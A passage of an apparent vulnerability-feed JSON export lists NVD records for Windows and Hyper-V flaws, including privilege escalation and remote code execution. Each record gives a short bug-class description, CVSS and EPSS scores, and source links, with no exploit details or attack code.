Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:18.503Z","updatedAt":"2026-10-16T16:21:25.033Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83732","asOf":"2026-10-16T16:21:25.033Z"},"epss":{"probability":0.00391,"percentile":0.32968,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83732&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83732","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83732","type":"primary","publishedAt":"2026-10-13T19:20:18.503Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83732&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83732, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83728","cveId":"CVE-2026-83728","aliases":[],"kind":"vulnerability","title":"Improper validation of syntactic correctness of input in Windows Hyper-V allows an authorized attacker to perform spoofing locally.","summary":"Improper validation of syntactic correctness of input in Windows Hyper-V allows an authorized attacker to perform spoofing locally.","detail":"Improper validation of syntactic correctness of input in Windows Hyper-V allows an authorized attacker to perform spoofing locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:18.330Z","updatedAt":"2026-10-16T16:21:24.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Hyper-V"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83728","asOf":"2026-10-16T16:21:24.867Z"},"epss":{"probability":0.0031,"percentile":0.23623,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83728&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83728","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83728","type":"primary","publishedAt":"2026-10-13T19:20:18.330Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83728&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83728, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83727","cveId":"CVE-2026-83727","aliases":[],"kind":"vulnerability","title":"Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.","summary":"Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.","detail":"Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:18.153Z","updatedAt":"2026-10-16T16:21:24.687Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83727","asOf":"2026-10-16T16:21:24.687Z"},"epss":{"probability":0.00361,"percentile":0.29681,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83727&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83727","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83727","type":"primary","publishedAt":"2026-10-13T19:20:18.153Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83727&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83727, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83726","cveId":"CVE-2026-83726","aliases":[],"kind":"vulnerability","title":"Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:17.983Z","updatedAt":"2026-10-16T16:21:24.523Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83726","asOf":"2026-10-16T16:21:24.523Z"},"epss":{"probability":0.00361,"percentile":0.29669,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83726&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83726","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83726","type":"primary","publishedAt":"2026-10-13T19:20:17.983Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83726&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83726, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83725","cveId":"CVE-2026-83725","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Windows Search Component allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Windows Search Component allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Windows Search Component allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:17.807Z","updatedAt":"2026-10-16T16:21:24.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83725","asOf":"2026-10-16T16:21:24.343Z"},"epss":{"probability":0.00785,"percentile":0.55789,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83725&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83725","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83725","type":"primary","publishedAt":"2026-10-13T19:20:17.807Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83725&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83725, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83724","cveId":"CVE-2026-83724","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:17.630Z","updatedAt":"2026-10-16T16:21:24.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83724","asOf":"2026-10-16T16:21:24.173Z"},"epss":{"probability":0.00284,"percentile":0.20732,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83724&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83724","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83724","type":"primary","publishedAt":"2026-10-13T19:20:17.630Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83724&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83724, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83722","cveId":"CVE-2026-83722","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Local Security Authority Server (lsasrv) allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Local Security Authority Server (lsasrv) allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Local Security Authority Server (lsasrv) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:17.173Z","updatedAt":"2026-10-16T16:21:23.813Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83722","asOf":"2026-10-16T16:21:23.813Z"},"epss":{"probability":0.00226,"percentile":0.1323,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83722&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83722","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83722","type":"primary","publishedAt":"2026-10-13T19:20:17.173Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83722&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83722, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83721","cveId":"CVE-2026-83721","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:17.027Z","updatedAt":"2026-10-13T21:18:41.500Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83721","asOf":"2026-10-13T21:18:41.500Z"},"epss":{"probability":0.00361,"percentile":0.29673,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83721&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83721","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83721","type":"primary","publishedAt":"2026-10-13T19:20:17.027Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83721&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83721, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83720","cveId":"CVE-2026-83720","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Kerberos allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Kerberos allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Kerberos allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:16.903Z","updatedAt":"2026-10-13T21:18:41.397Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83720","asOf":"2026-10-13T21:18:41.397Z"},"epss":{"probability":0.00286,"percentile":0.20925,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83720&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83720","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83720","type":"primary","publishedAt":"2026-10-13T19:20:16.903Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83720&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83720, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83718","cveId":"CVE-2026-83718","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:16.580Z","updatedAt":"2026-10-16T16:21:23.373Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83718","asOf":"2026-10-16T16:21:23.373Z"},"epss":{"probability":0.00286,"percentile":0.20925,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83718&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83718","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83718","type":"primary","publishedAt":"2026-10-13T19:20:16.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83718&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83718, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83717","cveId":"CVE-2026-83717","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:16.407Z","updatedAt":"2026-10-16T16:21:23.197Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83717","asOf":"2026-10-16T16:21:23.197Z"},"epss":{"probability":0.00304,"percentile":0.22943,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83717&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83717","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83717","type":"primary","publishedAt":"2026-10-13T19:20:16.407Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83717&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83717, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83716","cveId":"CVE-2026-83716","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to execute code locally.","summary":"Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to execute code locally.","detail":"Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to execute code locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:16.243Z","updatedAt":"2026-10-16T16:21:23.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Hyper-V"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83716","asOf":"2026-10-16T16:21:23.040Z"},"epss":{"probability":0.00361,"percentile":0.2967,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83716&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83716","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83716","type":"primary","publishedAt":"2026-10-13T19:20:16.243Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83716&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83716, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83715","cveId":"CVE-2026-83715","aliases":[],"kind":"vulnerability","title":"Missing authentication for critical function in Windows Error Reporting allows an authorized attacker to perform tampering locally.","summary":"Missing authentication for critical function in Windows Error Reporting allows an authorized attacker to perform tampering locally.","detail":"Missing authentication for critical function in Windows Error Reporting allows an authorized attacker to perform tampering locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:16.060Z","updatedAt":"2026-10-16T16:21:22.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83715","asOf":"2026-10-16T16:21:22.867Z"},"epss":{"probability":0.00327,"percentile":0.25537,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83715&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83715","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83715","type":"primary","publishedAt":"2026-10-13T19:20:16.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83715&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83715, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83712","cveId":"CVE-2026-83712","aliases":[],"kind":"vulnerability","title":"Out-of-bounds write in Windows NTFS allows an authorized attacker to execute code locally.","summary":"Out-of-bounds write in Windows NTFS allows an authorized attacker to execute code locally.","detail":"Out-of-bounds write in Windows NTFS allows an authorized attacker to execute code locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 